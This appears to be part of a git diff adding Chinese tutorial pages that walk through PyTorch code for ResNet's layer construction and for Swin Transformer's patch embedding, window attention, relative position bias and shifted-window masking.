expansion简单来说就是对输出通道的倍乘。在BasicBlock和BottleNeck中,“__init__”函数中有三个比较关键的参数:inplanes,planes和stride,这三者分别表示输入的通道数,输出的通道数和步幅。在两个模块中,__init__传入的planes都是64,128,156,512,但我们观察上面的表格,会发现对于ResNet-50,ResNet-101和ResNet-152而言,它们需要的输出通道应该为256,512,1024,2048才对。因此在这里设置expansion=4,对应上面BottleNeck代码中的30行和31行,将每一个planes都乘上这个expansion,就得到了需要的通道数;而对于ResNet-18和ResNet-34而言,输入通道和输出通道的维度上没有发生变化,因此expansion也设置为1。

+

2.3 网络整体结构​

+

在定义好最基本的Bottlenneck和BasicBlock后,我们就可以构建ResNet网络了。

+
class ResNet(nn.Module):
def __init__(
self,
block: Type[Union[BasicBlock, Bottleneck]], # 选择基本模块
layers: List[int], # 每一层block的数目构成 -> [3,4,6,3]
num_classes: int = 1000, # 分类数目
zero_init_residual: bool = False, # 初始化

#######其他卷积构成,与本文ResNet无关######
groups: int = 1,
width_per_group: int = 64,
replace_stride_with_dilation: Optional[List[bool]] = None,
#########################################

norm_layer: Optional[Callable[..., nn.Module]] = None, # norm层
) -> None:
super().__init__()
_log_api_usage_once(self)
if norm_layer is None:
norm_layer = nn.BatchNorm2d
self._norm_layer = norm_layer

self.inplanes = 64 # 输入通道

#######其他卷积构成,与本文ResNet无关######
self.dilation = 1 # 空洞卷积
if replace_stride_with_dilation is None:
# each element in the tuple indicates if we should replace
# the 2x2 stride with a dilated convolution instead
replace_stride_with_dilation = [False, False, False]
if len(replace_stride_with_dilation) != 3:
raise ValueError(
"replace_stride_with_dilation should be None "
f"or a 3-element tuple, got {replace_stride_with_dilation}"
)
self.groups = groups
self.base_width = width_per_group
#########################################

self.conv1 = nn.Conv2d(3, self.inplanes, kernel_size=7, stride=2, padding=3, bias=False)
self.bn1 = norm_layer(self.inplanes)
self.relu = nn.ReLU(inplace=True)
self.maxpool = nn.MaxPool2d(kernel_size=3, stride=2, padding=1)
# 通过_make_layer带到层次化设计的效果
self.layer1 = self._make_layer(block, 64, layers[0]) # 对应着conv2_x
self.layer2 = self._make_layer(block, 128, layers[1], stride=2, dilate=replace_stride_with_dilation[0]) # 对应着conv3_x
self.layer3 = self._make_layer(block, 256, layers[2], stride=2, dilate=replace_stride_with_dilation[1]) # 对应着conv4_x
self.layer4 = self._make_layer(block, 512, layers[3], stride=2, dilate=replace_stride_with_dilation[2]) # 对应着conv5_x
# 分类头
self.avgpool = nn.AdaptiveAvgPool2d((1, 1))
self.fc = nn.Linear(512 * block.expansion, num_classes)

# 模型初始化
for m in self.modules():
if isinstance(m, nn.Conv2d):
nn.init.kaiming_normal_(m.weight, mode="fan_out", nonlinearity="relu")
elif isinstance(m, (nn.BatchNorm2d, nn.GroupNorm)):
nn.init.constant_(m.weight, 1)
nn.init.constant_(m.bias, 0)

# Zero-initialize the last BN in each residual branch,
# so that the residual branch starts with zeros, and each residual block behaves like an identity.
# This improves the model by 0.2~0.3% according to https://arxiv.org/abs/1706.02677
if zero_init_residual:
for m in self.modules():
if isinstance(m, Bottleneck) and m.bn3.weight is not None:
nn.init.constant_(m.bn3.weight, 0) # type: ignore[arg-type]
elif isinstance(m, BasicBlock) and m.bn2.weight is not None:
nn.init.constant_(m.bn2.weight, 0) # type: ignore[arg-type]
# 层次化设计
def _make_layer(
self,
block: Type[Union[BasicBlock, Bottleneck]], # 基本构成模块选择
planes: int, # 输入的通道
blocks: int, # 模块数目
stride: int = 1, # 步长
dilate: bool = False, # 空洞卷积,与本文无关
) -> nn.Sequential:
norm_layer = self._norm_layer
downsample = None # 是否采用下采样
####################无关#####################
previous_dilation = self.dilation
if dilate:
self.dilation *= stride
stride = 1
#############################################
if stride != 1 or self.inplanes != planes * block.expansion:
downsample = nn.Sequential(
conv1x1(self.inplanes, planes * block.expansion, stride),
norm_layer(planes * block.expansion),
)

# 使用layers存储每个layer
layers = []
layers.append(
block(
self.inplanes, planes, stride, downsample, self.groups, self.base_width, previous_dilation, norm_layer
)
)
self.inplanes = planes * block.expansion
for _ in range(1, blocks):
layers.append(
block(
self.inplanes,
planes,
groups=self.groups,
base_width=self.base_width,
dilation=self.dilation,
norm_layer=norm_layer,
)
)
# 将layers通过nn.Sequential转化为网络
return nn.Sequential(*layers)

def _forward_impl(self, x: Tensor) -> Tensor:
# See note [TorchScript super()]
x = self.conv1(x) # conv1 x shape [1 64 112 112]
x = self.bn1(x) # 归一化处理
x = self.relu(x) # 激活函数
x = self.maxpool(x) # conv2_x的3x3 maxpool x shape [1 64 56 56]

x = self.layer1(x) # layer 1
x = self.layer2(x) # layer 2
x = self.layer3(x) # layer 3
x = self.layer4(x) # layer 4

x = self.avgpool(x) # 自适应池化
x = torch.flatten(x, 1)
x = self.fc(x) # 分类

return x

def forward(self, x: Tensor) -> Tensor:
return self._forward_impl(x)
+

观察上述代码,我们不难看到,首先是一个7 x 7的卷积作用在输入的3维图片上,并输入一个64维的特征图(即self.inplanes的初始值),通过BatchNorm层,ReLU层,MaxPool层;然后经过_make_layer()函数构建的4层layer,最后经过一个AveragePooling层,再经过一个fc层得到分类输出。在网络搭建起来后,还对模型的参数(Conv2d、BatchNorm2d、last BN)进行了初始化。

+

而对于_make_layer函数,一个_make_layer()构建一个layer层,每一个layer层是上述两种基本模块的堆叠。输入参数中block代表该layer堆叠模块的类型,可选BasicBlock或者BottleNeck;blocks代表该layer中堆叠的block的数目;planes与该layer最终输出的维度数有关,注意最终输出的维度数为planes * block.expansion。除此之外, _make_layer()是用来生成残差块的,这就牵扯到它的第四个参数:stride,即卷积步幅。该函数中首先定义了如果stride不等于1或者维度不匹配(即输入通道不满足对应关系)的时候的downsample,然后对其进行一次BN操作。接着对inplanes和planes不一致的情况进行了一次downsample ,即将带downsample的block添加至layers。这样保证了x和out的维度一致,接下来通过一个循环添加了指定个数的Block,由于x已经维度一致了,这样添加的其他的Block就可以不用降维了,所以循环添加不含Downsample的Block。正如下面代码所示

+
if stride != 1 or self.inplanes != planes * block.expansion:
downsample = nn.Sequential(
conv1x1(self.inplanes, planes * block.expansion, stride),
norm_layer(planes * block.expansion),
)
+

当一个layer包含多个block时,是通过向layers列表中依次加入每个block,来实现block的堆叠的。第一个block需要特殊处理,该block依据传入的self.inplanes, planes以及stride判断,可能含有downsample支路;这个block的输出维度是planes*block.expansion。紧接着便把self.inplanes更新为此值作为后续block的输入维度。后面的block的stride为默认值1,同时,由于输入为self.inplanes,输出为planes*block.expansion,而self.inplanes = planes * block.expansion,因此不会出现特征图大小或者尺寸不一致的情况,不可能出现downsample操作。

+

3 总结​

+

与普通的网络相比,ResNet最大的优势就是引入了Shortcut这个支路,让某一层可以直接连接到后面的层,使得后面的层可以直接学习残差。传统的卷积层或全连接层在信息传递时,或多或少会存在信息丢失、损耗等问题。ResNet 在某种程度上解决了这个问题,通过直接将输入信息绕道传到输出,保护信息的完整性,整个网络则只需要学习输入、输出差别的那一部分,简化学习目标和难度。

+

ResNet的出现,在一定程度上解决了卷积神经网络随深度的增加,但是模型效果却变差的问题,用作者的话说,就是: “Our deep residual nets can easily enjoy accuracy gains from greatly increased depth, producing results substantially better than previous networks.”。原始的ResNet对于训练卷积神经网路做出了很大的贡献,但是同样也有着许多可以改进的地方。随着时代的发展,原版的ResNet在一次又一次的研究中得到了丰富和完善,衍生出了丰富的改进的模型,如ResNeXt。它提出了一种介于普通卷积核深度可分离卷积的这种策略:分组卷积。通过控制分组的数量(基数)来达到两种策略的平衡。分组卷积的思想是源自Inception,不同于Inception的需要人工设计每个分支,ResNeXt的每个分支的拓扑结构是相同的。最后再结合残差网络,得到的便是最终的ResNeXt。

+

除此之外,ResNet还有其它变体如Wider ResNet,DarkNet53等。它们的改进相对较大,尤其是DarkNet53,它和ResNet已经有很大不同了,只是使用到了残差连接从而复用特征而已。总而言之,ResNet作为卷积神经网络的一个里程碑式的模型一直在各个领域被应用,因此我们学习这样一个模型架构很有必要。毫不夸张的说,ResNet值得每一个学习深度学习的学子认真研究。

+ + \ No newline at end of file diff --git a/docs/个人知识库/AI/PyTorch/第十章/Swin-Transformer解读/index.html b/docs/个人知识库/AI/PyTorch/第十章/Swin-Transformer解读/index.html new file mode 100644 index 0000000..29f659b --- /dev/null +++ b/docs/个人知识库/AI/PyTorch/第十章/Swin-Transformer解读/index.html @@ -0,0 +1,255 @@ + + + + + +Swin-Transformer解读.md | wjlin0 + + + + + + + +

Swin-Transformer解读.md

+ + + + + + + + + + + + + +
作者修订时间
wjlin02026-06-07 20:53:41
+ + + + + + + + + + + + + +
作者修订时间
wjlin02026-06-07 18:52:46
+

Swin Transformer解读

+

+[Swin-T] Swin Transformer: Hierarchical Vision Transformer using Shifted Windows +
+Ze Liu, Yutong Lin, Yue Cao, Han Hu, Yixuan Wei, Zheng Zhang, Stephen Lin, Baining Guo. +
+ICCV 2021. +[paper] [code] +
+解读者:沈豪,复旦大学博士,Datawhale成员 +
+

+

前言​

+

《Swin Transformer: Hierarchical Vision Transformer using Shifted Windows》作为2021 ICCV最佳论文,屠榜了各大CV任务,性能优于DeiT、ViT和EfficientNet等主干网络,已经替代经典的CNN架构,成为了计算机视觉领域通用的backbone。它基于了ViT模型的思想,创新性的引入了滑动窗口机制,让模型能够学习到跨窗口的信息,同时也。同时通过下采样层,使得模型能够处理超分辨率的图片,节省计算量以及能够关注全局和局部的信息。而本文将从原理和代码角度详细解析Swin Transformer的架构。

+

目前将 Transformer 从自然语言处理领域应用到计算机视觉领域主要有两大挑战:

+
    +
  • 视觉实体的方差较大,例如同一个物体,拍摄角度不同,转化为二进制后的图片就会具有很大的差异。同时在不同场景下视觉 Transformer 性能未必很好。
  • +
  • 图像分辨率高,像素点多,如果采用ViT模型,自注意力的计算量会与像素的平方成正比。
  • +
+

针对上述两个问题,论文中提出了一种基于滑动窗口机制,具有层级设计(下采样层) 的 Swin Transformer。

+

其中滑窗操作包括不重叠的 local window,和重叠的 cross-window。将注意力计算限制在一个窗口(window size固定)中,一方面能引入 CNN 卷积操作的局部性,另一方面能大幅度节省计算量,它只和窗口数量成线性关系。通过下采样的层级设计,能够逐渐增大感受野,从而使得注意力机制也能够注意到全局的特征。

+Swin-T&ViT +

在论文的最后,作者也通过大量的实验证明Swin Transformer相较于以前的SOTA模型均有提高,尤其是在ADE20K数据和COCO数据集上的表现。也证明了Swin Transformer可以作为一种通用骨干网络被使用。

+

模型结构​

+

Architecture

+

整个模型采取层次化的设计,一共包含 4 个 Stage,除第一个 stage 外,每个 stage 都会先通过 Patch Merging 层缩小输入特征图的分辨率,进行下采样操作,像 CNN 一样逐层扩大感受野,以便获取到全局的信息。

+

以论文的角度:

+
    +
  • 在输入开始的时候,做了一个Patch Partition,即ViT中Patch Embedding操作,通过 Patch_size 为4的卷积层将图片切成一个个 Patch ,并嵌入到Embedding,将 embedding_size 转变为48(可以将 CV 中图片的通道数理解为NLP中token的词嵌入长度)。
  • +
  • 随后在第一个Stage中,通过Linear Embedding调整通道数为C。
  • +
  • 在每个 Stage 里(除第一个 Stage ),均由Patch Merging和多个Swin Transformer Block组成。
  • +
  • 其中Patch Merging模块主要在每个 Stage 一开始降低图片分辨率,进行下采样的操作。
  • +
  • 而Swin Transformer Block具体结构如右图所示,主要是LayerNorm,Window Attention ,Shifted Window Attention和MLP组成 。
  • +
+

从代码的角度:

+

在微软亚洲研究院提供的代码中,是将Patch Merging作为每个 Stage 最后结束的操作,输入先进行Swin Transformer Block操作,再下采样。而最后一个 Stage 不需要进行下采样操作,之间通过后续的全连接层与 target label 计算损失。

+

code_Architecture

+
# window_size=7 
# input_batch_image.shape=[128,3,224,224]
class SwinTransformer(nn.Module):
def __init__(...):
super().__init__()
...
# absolute position embedding
if self.ape:
self.absolute_pos_embed = nn.Parameter(torch.zeros(1, num_patches, embed_dim))

self.pos_drop = nn.Dropout(p=drop_rate)

# build layers
self.layers = nn.ModuleList()
for i_layer in range(self.num_layers):
layer = BasicLayer(...)
self.layers.append(layer)

self.norm = norm_layer(self.num_features)
self.avgpool = nn.AdaptiveAvgPool1d(1)
self.head = nn.Linear(self.num_features, num_classes) if num_classes > 0 else nn.Identity()

def forward_features(self, x):
x = self.patch_embed(x) # Patch Partition
if self.ape:
x = x + self.absolute_pos_embed
x = self.pos_drop(x)

for layer in self.layers:
x = layer(x)

x = self.norm(x) # Batch_size Windows_num Channels
x = self.avgpool(x.transpose(1, 2)) # Batch_size Channels 1
x = torch.flatten(x, 1)
return x

def forward(self, x):
x = self.forward_features(x)
x = self.head(x) # self.head => Linear(in=Channels,out=Classification_num)
return x
+

其中有几个地方处理方法与 ViT 不同:

+
    +
  • ViT 在输入会给 embedding 进行位置编码。而 Swin-T 这里则是作为一个可选项(self.ape),Swin-T 是在计算 Attention 的时候做了一个相对位置编码,我认为这是这篇论文设计最巧妙的地方。
  • +
  • ViT 会单独加上一个可学习参数,作为分类的 token。而 Swin-T 则是直接做平均(avgpool),输出分类,有点类似 CNN 最后的全局平均池化层。
  • +
+

Patch Embedding​

+

在输入进 Block 前,我们需要将图片切成一个个 patch,然后嵌入向量。

+

具体做法是对原始图片裁成一个个 window_size * window_size 的窗口大小,然后进行嵌入。

+

这里可以通过二维卷积层,将 stride,kernel_size 设置为 window_size 大小。设定输出通道来确定嵌入向量的大小。最后将 H,W 维度展开,并移动到第一维度。

+
+

论文中输出通道设置为48,但是代码中为96,以下我们均以代码为准。

+

Batch_size=128

+
+

Patch_embedding

+
import torch
import torch.nn as nn

class PatchEmbed(nn.Module):
def __init__(self, img_size=224, patch_size=4, in_chans=3, embed_dim=96, norm_layer=None):
super().__init__()
img_size = to_2tuple(img_size) # -> (img_size, img_size)
patch_size = to_2tuple(patch_size) # -> (patch_size, patch_size)
patches_resolution = [img_size[0] // patch_size[0], img_size[1] // patch_size[1]]
self.img_size = img_size
self.patch_size = patch_size
self.patches_resolution = patches_resolution
self.num_patches = patches_resolution[0] * patches_resolution[1]

self.in_chans = in_chans
self.embed_dim = embed_dim

self.proj = nn.Conv2d(in_chans, embed_dim, kernel_size=patch_size, stride=patch_size)
if norm_layer is not None:
self.norm = norm_layer(embed_dim)
else:
self.norm = None

def forward(self, x):
# 假设采取默认参数,论文中embedding_size是96,但是代码中为48.我们以代码为准
x = self.proj(x) # 出来的是(N, 96, 224/4, 224/4)
x = torch.flatten(x, 2) # 把HW维展开,(N, 96, 56*56)
x = torch.transpose(x, 1, 2) # 把通道维放到最后 (N, 56*56, 96)
if self.norm is not None:
x = self.norm(x)
return x
+

Patch Merging​

+

该模块的作用是在每个 Stage 开始前做降采样,用于缩小分辨率,调整通道数进而形成层次化的设计,同时也能节省一定运算量。

+
+

在 CNN 中,则是在每个 Stage 开始前用stride=2的卷积/池化层来降低分辨率。

+
+

每次降采样是两倍,因此在行方向和列方向上,间隔 2 选取元素。

+

然后拼接在一起作为一整个张量,最后展开。此时通道维度会变成原先的 4 倍(因为 H,W 各缩小 2 倍),此时再通过一个全连接层再调整通道维度为原来的两倍。

+

下面是一个示意图(输入张量 N=1, H=W=8, C=1,不包含最后的全连接层调整)

+

Patch_Merging

+

Patch_Merging_dim

+
class PatchMerging(nn.Module):
def __init__(self, input_resolution, dim, norm_layer=nn.LayerNorm):
super().__init__()
self.input_resolution = input_resolution
self.dim = dim
self.reduction = nn.Linear(4 * dim, 2 * dim, bias=False)
self.norm = norm_layer(4 * dim)

def forward(self, x):
"""
x: B, H*W, C
"""
H, W = self.input_resolution
B, L, C = x.shape
assert L == H * W, "input feature has wrong size"
assert H % 2 == 0 and W % 2 == 0, f"x size ({H}*{W}) are not even."

x = x.view(B, H, W, C)

x0 = x[:, 0::2, 0::2, :] # B H/2 W/2 C
x1 = x[:, 1::2, 0::2, :] # B H/2 W/2 C
x2 = x[:, 0::2, 1::2, :] # B H/2 W/2 C
x3 = x[:, 1::2, 1::2, :] # B H/2 W/2 C
x = torch.cat([x0, x1, x2, x3], -1) # B H/2 W/2 4*C
x = x.view(B, -1, 4 * C) # B H/2*W/2 4*C

x = self.norm(x)
x = self.reduction(x)

return x
+

Window Partition/Reverse​

+

window partition函数是用于对张量划分窗口,指定窗口大小。将原本的张量从 N H W C, 划分成 num_windows*B, window_size, window_size, C,其中 num_windows = H*W / window_size*window_size,即窗口的个数。而window reverse函数则是对应的逆过程。这两个函数会在后面的Window Attention用到。

+

Window_Partition_Reverse

+
def window_partition(x, window_size):
B, H, W, C = x.shape
x = x.view(B, H // window_size, window_size, W // window_size, window_size, C)
windows = x.permute(0, 1, 3, 2, 4, 5).contiguous().view(-1, window_size, window_size, C)
return windows

def window_reverse(windows, window_size, H, W):
B = int(windows.shape[0] / (H * W / window_size / window_size))
x = windows.view(B, H // window_size, W // window_size, window_size, window_size, -1)
x = x.permute(0, 1, 3, 2, 4, 5).contiguous().view(B, H, W, -1)
return x
+

Window Attention​

+

传统的 Transformer 都是基于全局来计算注意力的,因此计算复杂度十分高。而 Swin Transformer 则将注意力的计算限制在每个窗口内,进而减少了计算量。我们先简单看下公式

+

$$ +Attention(Q,K,V)=Softmax(\frac{QK^T}{\sqrt d}+B)V +$$ +主要区别是在原始计算 Attention 的公式中的 Q,K 时加入了相对位置编码。

+Swin-T_block +
class WindowAttention(nn.Module):
r""" Window based multi-head self attention (W-MSA) module with relative position bias.
It supports both of shifted and non-shifted window.

Args:
dim (int): Number of input channels.
window_size (tuple[int]): The height and width of the window.
num_heads (int): Number of attention heads.
qkv_bias (bool, optional): If True, add a learnable bias to query, key, value. Default: True
qk_scale (float | None, optional): Override default qk scale of head_dim ** -0.5 if set
attn_drop (float, optional): Dropout ratio of attention weight. Default: 0.0
proj_drop (float, optional): Dropout ratio of output. Default: 0.0
"""

def __init__(self, dim, window_size, num_heads, qkv_bias=True, qk_scale=None, attn_drop=0., proj_drop=0.):

super().__init__()
self.dim = dim
self.window_size = window_size # Wh, Ww
self.num_heads = num_heads # nH
head_dim = dim // num_heads # 每个注意力头对应的通道数
self.scale = qk_scale or head_dim ** -0.5

# define a parameter table of relative position bias
self.relative_position_bias_table = nn.Parameter(
torch.zeros((2 * window_size[0] - 1) * (2 * window_size[1] - 1), num_heads)) # 设置一个形状为(2*(Wh-1) * 2*(Ww-1), nH)的可学习变量,用于后续的位置编码

self.qkv = nn.Linear(dim, dim * 3, bias=qkv_bias)
self.attn_drop = nn.Dropout(attn_drop)
self.proj = nn.Linear(dim, dim)
self.proj_drop = nn.Dropout(proj_drop)

trunc_normal_(self.relative_position_bias_table, std=.02)
self.softmax = nn.Softmax(dim=-1)
# 相关位置编码...
+

相关位置编码的直观理解​

+
+

Q,K,V.shape=[numWindwos*B, num_heads, window_size*window_size, head_dim]

+
    +
  • window_size*window_size 即 NLP 中token的个数
  • +
  • $head_dim=\frac{Embedding_dim}{num_heads}$ 即 NLP 中token的词嵌入向量的维度
  • +
+

${QK}^T$计算出来的Attention张量的形状为[numWindows*B, num_heads, Q_tokens, K_tokens]

+
    +
  • 其中Q_tokens=K_tokens=window_size*window_size
  • +
+
+

以window_size=2为例:

+绝对位置索引 +

因此:${QK}^T=\left[\begin{array}{cccc}a_{11} & a_{12} & a_{13} & a_{14} \ a_{21} & a_{22} & a_{23} & a_{24} \ a_{31} & a_{32} & a_{33} & a_{34} \ a_{41} & a_{42} & a_{43} & a_{44}\end{array}\right]$

+
    +
  • 第 $i$ 行表示第 $i$ 个 token 的query对所有token的key的attention。
  • +
  • 对于 Attention 张量来说,以不同元素为原点,其他元素的坐标也是不同的,
  • +
+相对位置索引 +

所以${QK}^T的相对位置索引=\left[\begin{array}{cccc}(0,0) & (0,-1) & (-1,0) & (-1,-1) \ (0,1) & (0,0) & (-1,1) & (-1,0) \ (1,0) & (1,-1) & (0,0) & (0,-1) \ (1,1) & (1,0) & (0,1) & (0,0)\end{array}\right]$

+

由于最终我们希望使用一维的位置坐标 x+y 代替二维的位置坐标 (x,y),为了避免 (1,2) (2,1) 两个坐标转为一维时均为3,我们之后对相对位置索引进行了一些线性变换,使得能通过一维的位置坐标唯一映射到一个二维的位置坐标,详细可以通过代码部分进行理解。

+

相关位置编码的代码详解​

+

首先我们利用torch.arange和torch.meshgrid函数生成对应的坐标,这里我们以windowsize=2为例子

+
coords_h = torch.arange(self.window_size[0])
coords_w = torch.arange(self.window_size[1])
coords = torch.meshgrid([coords_h, coords_w]) # -> 2*(wh, ww)
"""
(tensor([[0, 0],
[1, 1]]),
tensor([[0, 1],
[0, 1]]))
"""
+

然后堆叠起来,展开为一个二维向量

+
coords = torch.stack(coords)  # 2, Wh, Ww
coords_flatten = torch.flatten(coords, 1) # 2, Wh*Ww
"""
tensor([[0, 0, 1, 1],
[0, 1, 0, 1]])
"""
+

利用广播机制,分别在第一维,第二维,插入一个维度,进行广播相减,得到 2, wh*ww, wh*ww的张量

+
relative_coords_first = coords_flatten[:, :, None]  # 2, wh*ww, 1
relative_coords_second = coords_flatten[:, None, :] # 2, 1, wh*ww
relative_coords = relative_coords_first - relative_coords_second # 最终得到 2, wh*ww, wh*ww 形状的张量
+

relative_pos_code

+

因为采取的是相减,所以得到的索引是从负数开始的,我们加上偏移量,让其从 0 开始。

+
relative_coords = relative_coords.permute(1, 2, 0).contiguous() # Wh*Ww, Wh*Ww, 2
relative_coords[:, :, 0] += self.window_size[0] - 1
relative_coords[:, :, 1] += self.window_size[1] - 1
+

后续我们需要将其展开成一维偏移量。而对于 (1,2)和(2,1)这两个坐标。在二维上是不同的,但是通过将 x,y 坐标相加转换为一维偏移的时候,他的偏移量是相等的。

+

bias0

+

所以最后我们对其中做了个乘法操作,以进行区分

+
relative_coords[:, :, 0] *= 2 * self.window_size[1] - 1
+

offset multiply

+

然后再最后一维上进行求和,展开成一个一维坐标,并注册为一个不参与网络学习的变量

+
relative_position_index = relative_coords.sum(-1)  # Wh*Ww, Wh*Ww
self.register_buffer("relative_position_index", relative_position_index)
+

之前计算的是相对位置索引,并不是相对位置偏置参数。真正使用到的可训练参数$\hat B$是保存在relative position bias table表里的,这个表的长度是等于 (2M−1) × (2M−1) (在二维位置坐标中线性变化乘以2M-1导致)的。那么上述公式中的相对位置偏执参数B是根据上面的相对位置索引表根据查relative position bias table表得到的。

+relative_pos_bias_table +

接着我们看前向代码

+
def forward(self, x, mask=None):
"""
Args:
x: input features with shape of (num_windows*B, N, C)
mask: (0/-inf) mask with shape of (num_windows, Wh*Ww, Wh*Ww) or None
"""
B_, N, C = x.shape

qkv = self.qkv(x).reshape(B_, N, 3, self.num_heads, C // self.num_heads).permute(2, 0, 3, 1, 4)
q, k, v = qkv[0], qkv[1], qkv[2] # make torchscript happy (cannot use tensor as tuple)

q = q * self.scale
attn = (q @ k.transpose(-2, -1))

relative_position_bias = self.relative_position_bias_table[self.relative_position_index.view(-1)].view(self.window_size[0] * self.window_size[1], self.window_size[0] * self.window_size[1], -1) # Wh*Ww,Wh*Ww,nH
relative_position_bias = relative_position_bias.permute(2, 0, 1).contiguous() # nH, Wh*Ww, Wh*Ww
attn = attn + relative_position_bias.unsqueeze(0) # (1, num_heads, windowsize, windowsize)

if mask is not None: # 下文会分析到
...
else:
attn = self.softmax(attn)

attn = self.attn_drop(attn)

x = (attn @ v).transpose(1, 2).reshape(B_, N, C)
x = self.proj(x)
x = self.proj_drop(x)
return x
+
    +
  • 首先输入张量形状为 [numWindows*B, window_size * window_size, C]
  • +
  • 然后经过self.qkv这个全连接层后,进行 reshape,调整轴的顺序,得到形状为[3, numWindows*B, num_heads, window_size*window_size, c//num_heads],并分配给q,k,v。
  • +
  • 根据公式,我们对q乘以一个scale缩放系数,然后与k(为了满足矩阵乘要求,需要将最后两个维度调换)进行相乘。得到形状为[numWindows*B, num_heads, window_size*window_size, window_size*window_size]的attn张量
  • +
  • 之前我们针对位置编码设置了个形状为(2*window_size-1*2*window_size-1, numHeads)的可学习变量。我们用计算得到的相对编码位置索引self.relative_position_index.vew(-1)选取,得到形状为(window_size*window_size, window_size*window_size, numHeads)的编码,再permute(2,0,1)后加到attn张量上
  • +
  • 暂不考虑 mask 的情况,剩下就是跟 transformer 一样的 softmax,dropout,与V矩阵乘,再经过一层全连接层和 dropout
  • +
+

Shifted Window Attention​

+

前面的 Window Attention 是在每个窗口下计算注意力的,为了更好的和其他 window 进行信息交互,Swin Transformer 还引入了 shifted window 操作。

+Shifted_Window +

左边是没有重叠的 Window Attention,而右边则是将窗口进行移位的 Shift Window Attention。可以看到移位后的窗口包含了原本相邻窗口的元素。但这也引入了一个新问题,即 window 的个数翻倍了,由原本四个窗口变成了 9 个窗口。在实际代码里,我们是通过对特征图移位,并给 Attention 设置 mask 来间接实现的。能在保持原有的 window 个数下,最后的计算结果等价。

+

W-MSA

+

特征图移位操作​

+

代码里对特征图移位是通过torch.roll来实现的,下面是示意图

+torch_roll +
+

如果需要reverse cyclic shift的话只需把参数shifts设置为对应的正数值。

+
+

Attention Mask​

+

这是 Swin Transformer 的精华,通过设置合理的 mask,让Shifted Window Attention在与Window Attention相同的窗口个数下,达到等价的计算结果。

+

首先我们对 Shift Window 后的每个窗口都给上 index,并且做一个roll操作(window_size=2, shift_size=1)

+Shift window index +

我们希望在计算 Attention 的时候,让具有相同 index QK 进行计算,而忽略不同 index QK 计算结果。最后正确的结果如下图所示

+Mask +

而要想在原始四个窗口下得到正确的结果,我们就必须给 Attention 的结果加入一个 mask(如上图最右边所示)相关代码如下:

+
if self.shift_size > 0:
# calculate attention mask for SW-MSA
H, W = self.input_resolution
img_mask = torch.zeros((1, H, W, 1)) # 1 H W 1
h_slices = (slice(0, -self.window_size),
slice(-self.window_size, -self.shift_size),
slice(-self.shift_size, None))
w_slices = (slice(0, -self.window_size),
slice(-self.window_size, -self.shift_size),
slice(-self.shift_size, None))
cnt = 0
for h in h_slices:
for w in w_slices:
img_mask[:, h, w, :] = cnt
cnt += 1

mask_windows = window_partition(img_mask, self.window_size) # nW, window_size, window_size, 1
mask_windows = mask_windows.view(-1, self.window_size * self.window_size)
attn_mask = mask_windows.unsqueeze(1) - mask_windows.unsqueeze(2)
attn_mask = attn_mask.masked_fill(attn_mask != 0, float(-100.0)).masked_fill(attn_mask == 0, float(0.0))
else:
attn_mask = None
+

以上图的设置,我们用这段代码会得到这样的一个 mask

+
tensor([[[[[   0.,    0.,    0.,    0.],
[ 0., 0., 0., 0.],
[ 0., 0., 0., 0.],
[ 0., 0., 0., 0.]]],


[[[ 0., -100., 0., -100.],
[-100., 0., -100., 0.],
[ 0., -100., 0., -100.],
[-100., 0., -100., 0.]]],


[[[ 0., 0., -100., -100.],
[ 0., 0., -100., -100.],
[-100., -100., 0., 0.],
[-100., -100., 0., 0.]]],


[[[ 0., -100., -100., -100.],
[-100., 0., -100., -100.],
[-100., -100., 0., -100.],
[-100., -100., -100., 0.]]]]])
+

在之前的 window attention 模块的前向代码里,包含这么一段

+
if mask is not None:
nW = mask.shape[0] # 一张图被分为多少个windows eg:[4,49,49]
attn = attn.view(B_ // nW, nW, self.num_heads, N, N) + mask.unsqueeze(1).unsqueeze(0) # torch.Size([128, 4, 12, 49, 49]) torch.Size([1, 4, 1, 49, 49])
attn = attn.view(-1, self.num_heads, N, N)
attn = self.softmax(attn)
else:
attn = self.softmax(attn)
+

将 mask 加到 attention 的计算结果,并进行 softmax。mask 的值设置为 - 100,softmax 后就会忽略掉对应的值。关于Mask,我们发现在官方代码库中的issue38也进行了讨论:-->The Question about the mask of window attention #38

+

W-MSA和MSA的复杂度对比​

+

在原论文中,作者提出的基于滑动窗口操作的 W-MSA 能大幅度减少计算量。那么两者的计算量和算法复杂度大概是如何的呢,论文中给出了一下两个公式进行对比。 +$$ +\begin{aligned} +&\Omega(M S A)=4 h w C^{2}+2(h w)^{2} C \ +&\Omega(W-M S A)=4 h w C^{2}+2 M^{2} h w C +\end{aligned} +$$

+
    +
  • h:feature map的高度
  • +
  • w:feature map的宽度
  • +
  • C:feature map的通道数(也可以称为embedding size的大小)
  • +
  • M:window_size的大小
  • +
+

MSA模块的计算量​

+

首先对于feature map中每一个token(一共有 $hw$ 个token,通道数为C),记作$X^{h w \times C}$,需要通过三次线性变换 $W_q,W_k,W_v$ ,产生对应的q,k,v向量,记作 $Q^{h w \times C},K^{h w \times C},V^{h w \times C}$ (通道数为C)。 +$$ +X^{h w \times C} \cdot W_{q}^{C \times C}=Q^{h w \times C} \ +X^{h w \times C} \cdot W_{k}^{C \times C}=K^{h w \times C} \ +X^{h w \times C} \cdot W_{v}^{C \times C}=V^{h w \times C} \ +$$ +根据矩阵运算的计算量公式可以得到运算量为 $3hwC \times C$ ,即为 $3hwC^2$ 。 +$$ +Q^{h w \times C} \cdot K^T=A^{h w \times hw} \ +\Lambda^{h w \times h w}=Softmax(\frac{A^{h w \times hw}}{\sqrt(d)}+B) \ +\Lambda^{h w \times h w} \cdot V^{h w \times C}=Y^{h w \times C} +$$ +忽略除以$\sqrt d$ 以及softmax的计算量,根据根据矩阵运算的计算量公式可得 $hwC \times hw + hw^2 \times C$ ,即为 $2(hw^2)C$ 。 +$$ +Y^{h w \times C} \cdot W_O^{C \times C}=O^{h w \times C} +$$ +最终再通过一个Linear层输出,计算量为 $hwC^2$ 。因此整体的计算量为 $4 h w C^{2}+2(h w)^{2} C$​ 。

+

W-MSA模块的计算量​

+

对于W-MSA模块,首先会将feature map根据window_size分成 $\frac{hw}{M^2}$ 的窗口,每个窗口的宽高均为$M$,然后在每个窗口进行MSA的运算。因此,可以利用上面MSA的计算量公式,将 $h=M,w=M$ 带入,可以得到一个窗口的计算量为 $4 M^2 C^{2}+2M^{4} C$ 。

+

